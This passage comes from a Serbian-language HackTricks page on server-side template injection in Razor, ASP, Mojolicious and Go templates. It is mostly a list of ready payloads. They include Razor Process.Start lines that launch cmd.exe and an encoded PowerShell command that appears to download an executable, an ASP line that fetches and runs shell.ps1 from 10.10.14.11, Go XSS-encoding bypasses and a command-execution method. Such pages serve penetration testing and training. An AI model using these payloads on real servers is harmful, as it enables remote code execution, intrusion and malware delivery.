Razor (.Net)
@(2+2) <= Uspeh
@() <= Uspeh
@("{{kod}}") <= Uspeh
@ <= Uspeh
@{} <= GREŠKA!
@{ <= GREŠKA!
@(1+2)
@( //C#Kod )
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4MQAxAC8AdABlAHMAdABtAGUAdAA2ADQALgBlAHgAZQAIAE8AdQB0AEYASQBsAGUAIAhDAOkAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Metoda .NET System.Diagnostics.Process.Start
može se koristiti za pokretanje bilo kog procesa na serveru i time kreiranje webshell-a. Možete pronaći primer ranjive web aplikacije na https://github.com/cnotin/RazorVulnerableApp
Više informacija
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>
= 49<%= "foo" %>
= foo<%= foo %>
= Ništa<%= response.write(date()) %>
= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Više informacija
Mojolicious (Perl)
Čak i ako je u pitanju perl, koristi oznake poput ERB u Ruby-ju.
<%= 7*7 %> = 49
<%= foobar %> = Greška
<%= perl code %>
<% perl code %>
SSTI u GO-u
U Go-ovom sistem za šablone, potvrda o njegovom korišćenju može se uraditi sa specifičnim payload-ima:
{{ . }}
: Otkriva strukturu unosa podataka. Na primer, ako se prosledi objekat sa atributomPassword
,{{ .Password }}
bi mogao da ga otkrije.{{printf "%s" "ssti" }}
: Očekuje se da prikaže string "ssti".{{html "ssti"}}
,{{js "ssti"}}
: Ovi payload-i trebalo bi da vrate "ssti" bez dodavanja "html" ili "js". Dodatne direktive mogu se istražiti u Go dokumentaciji ovde.
Eksploatacija XSS-a
Sa paketom text/template
, XSS može biti jednostavan ubacivanjem payload-a direktno. Nasuprot tome, paket html/template
enkodira odgovor kako bi sprečio ovo (npr., {{"<script>alert(1)</script>"}}
rezultira sa <script>alert(1)</script>
). Ipak, definisanje šablona i pozivanje u Go-u može zaobići ovaj enkodiranje: {{define "T1"}}alert(1){{end}} {{template "T1"}}
vbnet Copy code
Eksploatacija RCE-a
Eksploatacija RCE-a značajno se razlikuje između html/template
i text/template
. Modul text/template
omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost "call"), što nije dozvoljeno u html/template
. Dokumentacija za ove module je dostupna ovde za html/template i ovde za text/template.
Za RCE putem SSTI u Go-u, mogu se pozvati metodi objekta. Na primer, ako obezbeđeni objekat ima System
metod koji izvršava komande, može se eksploatisati kao {{ .System "ls" }}
. Obično je potrebno pristupiti izvornom kodu da bi se iskoristilo ovo, kao u datom primeru:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Više informacija
- https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
- https://www.onsecurity.io/blog/go-ssti-method-research/
Više eksploatacija
Proverite ostatak https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima na https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}
Povezana pomoć
Ako mislite da bi moglo biti korisno, pročitajte:
Alati
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Lista otkrivanja Brute-Force napada
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
Vežba i Reference
- https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
RootedCON je najrelevantniji događaj u oblasti kibernetičke bezbednosti u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je ključno mesto susreta tehnoloških i bezbednosnih stručnjaka iz svake discipline.
{% embed url="https://www.rootedcon.com/" %}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @carlospolopm.
- Podelite svoje hakovanje trikova slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.